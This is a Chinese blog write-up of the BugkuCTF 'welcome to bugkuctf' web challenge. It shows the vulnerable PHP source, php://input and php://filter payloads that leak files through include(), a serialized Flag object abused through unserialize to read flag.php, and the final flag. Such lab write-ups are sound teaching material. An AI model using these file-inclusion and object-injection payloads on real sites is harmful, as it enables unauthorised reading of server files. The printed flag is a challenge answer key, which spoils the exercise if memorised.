BugkuCTF welcome to bugkuctf

本文深入探讨PHP代码中潜在的安全漏洞,通过实例演示如何利用PHP伪协议进行代码注入,包括php://input和php://filter的使用,以及如何通过反序列化获取隐藏的flag信息。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

在这里插入图片描述

  1. 查看源代码
$user = $_GET["txt"];  
$file = $_GET["file"];  
$pass = $_GET["password"];  
 
if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf"))
// $user必须存在  $user为文件且读出来的值为 welcome........并且类型、内容完全相同
{  
    echo "hello admin!<br>";  
    include($file); //hint.php  
// 满足条件之后读取hint.php
}
else
{  
    echo "you are not admin ! ";  
}  



// isset($user) isset检测变量是否设置  
	若变量不存在则返回FALSE
	若变量存在且其值为NULL,也返回FALSE
	若变量存在且值不为NULL,则返回TURE
// file_get_contents($user,'r')将整个文件读入一个字符串 
  1. php://input
    php://input 是个可以访问请求的原始数据的只读流,可以读取没有处理过的POST数据
    所以这里用 txt=php://input post值为 welcome to the bugkuctf在这里插入图片描述
  2. php://filter
    php://filter是PHP语言中特有的协议流,作用是作为一个“中间流”来处理其他流
    构造语句file=php://filter/read/convert.base64-encode/resource=hint.php
    在这里插入图片描述
  3. 将得到的值base64解码
<?php  
  
class Flag{//flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
			echo "<br>";
		return ("good");
        }  
    }  
}  

在此代码上找不到线索 在同样用php伪协议来读一下index.php
在这里插入图片描述

<?php  
$txt = $_GET["txt"];  
$file = $_GET["file"];  
$password = $_GET["password"];  
  
if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){  
    echo "hello friend!<br>";  
    if(preg_match("/flag/",$file)){     //file中过滤了flag
		echo "不能现在就给你flag哦";
        exit();  
    }else{                               //如果file中没有flag则将file包含进去,将$password反序列化
        include($file);   
        $password = unserialize($password);  
        echo $password;  
    }  
}else{  
    echo "you are not the number of bugku ! ";  
}  
  
?>  
  
<!--  
$user = $_GET["txt"];  
$file = $_GET["file"];  
$pass = $_GET["password"];  
  
if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){  
    echo "hello admin!<br>";  
    include($file); //hint.php  
}else{  
    echo "you are not admin ! ";  
}  
 -->  

hint.php中__tostring()函数
当调用实例化对象时就会自动执行_tostring()也就是创造一个这个类的对象就会调用,并输出&file

  1. 反序列化

反序列化在原来的文章提到过实验吧 天网管理系统

将password序列化

<?php
class Flag{//flag.php  
    public $file; 
}
$a = new Flag();
$a->file = "flag.php";
echo serialize($a);
?>

得到O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

  1. 构造$password
    在这里插入图片描述得到flag:flag{php_is_the_best_language}
CTF(Capture The Flag)是一种流行的信息安全竞赛形式,参与者通常需要利用计算机安全相关的知识来完成各种挑战以获取分数。这些挑战可能涉及但不限于逆向工程、密码学、Web安全、二进制分析等。 关于如何参与CTF比赛: 选择适合的比赛平台 存在多种在线平台定期举办CTF活动,例如pwnable.kr, hackthebox.eu, vulnhub.com等。新手可以从参加线上练习赛或者小型社区组织的赛事开始积累经验。 学习基础知识和技术 准备加入CTF之前应该掌握一些基础的安全概念以及编程技巧。这包括但不限于Python脚本编写能力;熟悉Linux操作系统环境;理解常见的网络协议运作原理;了解SQL查询语句构造规则等等。 组建团队或独自作战 很多队伍由不同专长的人组成——有人擅长破解硬件设备上的漏洞,而另一些成员则更精通软件层面的问题解决。当然也可以单打独斗但往往合作能够带来更好的成绩。 报名参赛并阅读规则说明 当决定好要参加哪个具体的CTF之后就要按照官方指引注册账号并且仔细研读所有有关条款确保不会因为误解规定而导致违规行为发生影响最终得分排名情况。 持续训练保持状态 经常性的实践对于提高个人及集体实力至关重要。可以通过解题网站不断尝试新的案例研究从而巩固所学到的知识点同时发现自身不足之处加以改进完善自我。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值